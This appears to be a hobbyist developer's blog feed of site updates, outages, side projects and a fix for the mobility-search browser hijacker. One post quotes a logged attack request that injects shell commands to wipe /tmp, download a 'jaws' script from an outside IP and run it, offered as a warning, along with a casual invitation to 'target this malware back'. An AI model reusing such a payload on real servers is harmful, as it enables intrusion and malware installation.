It's finally time (2 years ago) to update my server! You may notice things going offline for a little bit, but rest assured they will be back online shortly. I am running both servers independently, so I can proxy from one to the other during the transition process. I apologize if anything gets broken during this upgrade, but it is truly and badly needed. Thank you for your understanding, and hopefully everything gets faster soon!

I was helping my grandparents to get rid of this search engine interceptor today and couldn't find much useful info online, so I thought I'd write down my solution here! Mobility search is a browser-hijacker that redirects searches through its site to various search engines

-- Overview --

- The problem can be detected by typing in some random characters into the search bar and watching to see if your query is routed through the mobility-search.com url
- The hijacker is a one-time infection; it does not appear to be caused by software installed on the computer
- The hijacker will change all default search engines to itself and name them all "Google"
- These settings are synced across browsers via Google sync.

-- Solution (Chrome/Edge) --

- Go into search engines, and go to additional/site search engines
- Remove all search engines, and add a new one
- Name: Google
- Shortcut: google
- URL: https://google.com?q=%s
- On Edge, replace %s with %x
- Set the one you just added as the default search engine (not the existing one at the top with the logo named Google!)
- You may be able to fix the {chrome:baseurl} of the default google engine by using a vpn to change your locale, then visiting google.com
- Celebrate!

A while ago I implemented a custom error (503) page that would show up when one of my sites was down. The issue was that it had to use a completely separate web address, meaning that you couldn't just reload the page. I have now fixed that limitation. Thank you for bearing with it for so long.

Want to create and study flashcards for free? Getting annoyed with that other site that may or may not start with a Q? Visit hashcards.net and experience a paywall and ad-free solution.

Over the past several months, I have been developing a new service named HashCards. It is designed to rival modern online flashcard services, and is thus simple, free, and without ads. It also adds on some functionality that other services (namely those beginning with a Q) have locked behind a paywall. If you are interested in pre-registering, visit hashcards.net to do so.

A few days ago, @CarterKJ and I launched DevTrek - a site designed to link people to various resources related to computer science. As of right now, we have only created a lightly-polished interface and some filler content, but the project is live for you to check out!
Take me there!

I am currently investigating an issue relating to server response times. This issue is affecting all of the jvadair.com services, so please be patient.

Today I released pyntree, essentially a better pyndb, onto PyPI. You can try it out using "pip install pyntree", and learn more on its GitHub page.

A friend of mine recently wrote a neural network module from scratch. Check it out here: https://github.com/Deepr-ai/

The posts section of my database keeps being deleted upon reboot - I am investigating this problem. In the meantime, here's a screenshot from an old Discord webhook that happens to be working (I don't even use Discord anymore).

As of today, Saturday October 22, the button to access my old site from this page will be removed, along with any other references to it. The site will be taken offline on Monday, October 24 at roughly 7:00 AM EST. I appreciate your continued support along my development journey.

Due to confusing Google storage usage which I cannot fix until later today, my Gmail account may not receive any emails sent to it. I urge you to use my personal @jvadair.com email to contact me. If you do not know which is my personal email, send an email to [email protected] so I can tell it to you privately. Thanks for the understanding! Going forward, I may ditch the Google suite entirely. Stay tuned for more privacy-related updates ;)

pyndb has just been upgraded to 3.4.0! This means that you can now encrypt databases. SimpleForum has already received this encryption for account data, so your passwords are safer. I apologize for not releasing this sooner. Check out the update on GitHub!

I have finally restored all systems to full capacity. I apologize again for the outage.

I apologize for the partial outages that have occurred today. Here's a piece of advice: don't try to update PHP unless you have a lot of time on your hands. I've restored Nexus to full, although somewhat slow, capabilities. BookStack (pen.jvadair.com) is still down, however. I will try to resolve these issues ASAP. Thank you for the understanding.

[04/Apr/2022 14:27:21] "GET /shell?cd+/tmp;rm+-rf+*;wget+158.51.124.114/jaws;sh+/tmp/jaws HTTP/1.1" 404

This is the request that I saw today. I've tried googling what jaws.sh is, but I am still unsure. I may read the code later. Just note that this malware is out there, and if it can find my site, it can find yours. UPDATE: the link doesn't work Anyways, feel free to target this malware back.

There was a bit (I'm unsure how long) of server downtime today. This was caused by my router pointing to my server's hostname and not the IP. This became a problem due to the recent ethernet upgrade. Sidenote: I also apologize for the unrelated SimpleForum outage. I was making several security/nitpick improvements, and accidentally disrupted a few essential links/methods. All is restored, thanks for your patience.

My server has been using WiFi (yes, WiFi) for internet connections over the past year-ish that it has been up. I am pleased to announce that my primary server is now connected via Ethernet. This means major speed improvements for literally everything that runs under/with jvadair.com (and pretty much all other services). Yell at me in the comments for not doing this sooner.

I was restoring Chrome OS an old Chromebook today (thank you to the person who gave it to me - you know who you are (it has a cracked screen)), and made a slight mistake. I forgot to backup all of the data that I had on it first. In my incredible stupidity, I flashed the stock firmware before backing the data up. However, I hadn't restarted the device yet. So no big deal, right? Wrong. For some reason, scp, cp, and rsync all stopped working due to an input/output error. I also got a few segmentation faults from other things. However, python of all things was still working. From there I could do pretty much whatever I needed, and the shutil.copytree method apparently still worked. Needless to say, I learned a few very valuable lessons about the importance of widespread and regular backups today.

I've decided to make SimpleForum open-souce! I didn't open-source the login credentials though. You're welcome. To view all the very shady things SimpleForum does behind your back, go to https://github.com/jvadair/simpleforum. (Yes, I copy-pasted this message from the updates channel.

That's all I have to say

I have decided that it may be a good idea to accept software commissions. Please note that I am not a professional software developer/engineer. I have decided to create a trial system by accepting 5 commissions for free. If this goes well, I might accept paid commissions. I created this process since someone asked me for a commission on a discord bot recently. If you would like to request a commission (free for now), I have created a google form for this purpose.

Go check out arrows.dev. This site was recently bought by a friend, and he's been working on it for a little while (though it's mostly copy-pasted...). It's also hosted on my home server, although it won't be for long (tl;dr: if this site is down, so is his). Hopefully he adds something dynamic at some point... (if you're reading this learn Flask!)

This site has finally replaced my old one. You can still access it at beta.jvadair.com if you want (for now), and my old site is available at old.jvadair.com. I might make some more style changes in the future, and I'll probably add some more pages. Please suggest some things I should add.

I've just added a new background to the site. I actually took this image, by the way. Leave a comment if this looks neat and maybe I'll share some more photos.

Expect a few issues with both sites (new and old) today as I migrate to this one. There may be a couple broken links and odd things that happen. This site has been in beta for too long, and I'm quite happy that it will finally replace the old one.

I accidentally deleted the index.html file, meaning the home page didn't work. I'm not sure how I managed to do that, but it's fixed now. Making another backup right after I post this...

If you would be so kind as to fill out this survey, it would be greatly appreciated. The survey essentially asks you what you would like to see me make and other related things. Feel free to share it if you want, more responses are always appreciated! Again, thanks for your help.

Its been a long few months, but this site has finally fully replaced my old site. Soon, it will reside at the primary domain instead of on this beta subdomain. The old site will be moved to old.jvadair.com soon and will likely remain up as long as this domain does. I first created my old site on Neocities (that site now redirects here) and downloaded and served it via Apache when I got my domain name. Since then it has gotten a few updates, and I'm proud to say that it will now be retired by an even greater and more dynamic site (I can't believe I was copy-pasting blog cards :| ).

I made some progress on this site recently. New additions include an updated home page, an about page, header buttons showing the active page, and more*. *there isn't actually any more I don't think

I came up with an idea for a project to work on when I have some time (it'll never happen). I'm not going to disclose much about it yet, but you can check on its status and progress here and at its site.

Sorry to say this, but I'm pretty crammed in terms of my schedule for the upcoming weeks, so expect to hear and see little to nothing out of me. I forgot to mention I procrastinate a bit too much, which won't help the situation. I probably ought to work on that too.

You may have noticed that jvadair.com and related services were out for a few days. The reason this happened is that the storage card in my server somehow reached the maximum write limit (not the storage capacity). In simpler terms, it broke and I had to buy a new one. I then spent a day or two copying data off the card (which had become read only - it wasn't completely broken) before making a clone of it onto the new card. In retrospect, the backups seem kind of pointless since I can't think of how cloning the card would break it. In any case, all of the stuff is safe, sound, and practically untouched. Also, if my site goes out at any point in the future, check here.

Forgot to mention, but I built this nifty little tool named pyndb. I've been using it in all of my projects lately, such as this one, SimpleForum, various internal projects, and more that I can't think of off of the top of my head. Which is why it actually gets updates, by the way. In basic terms, it's a "database" manager. In even more basic terms, it's nerd stuff. You can check it out on GitHub.

This is the first test of the message drafting system. Hello world (again)!

Alright. This is a bit of a longer message. The reasoning behind that decision was to try and test the overflow dot thingies. This post should be automatically cut off at some point, so that you have to click on it to see the full text. I haven't fully implemented that bit yet tho.

There's multiple messages now...???

hello world!!!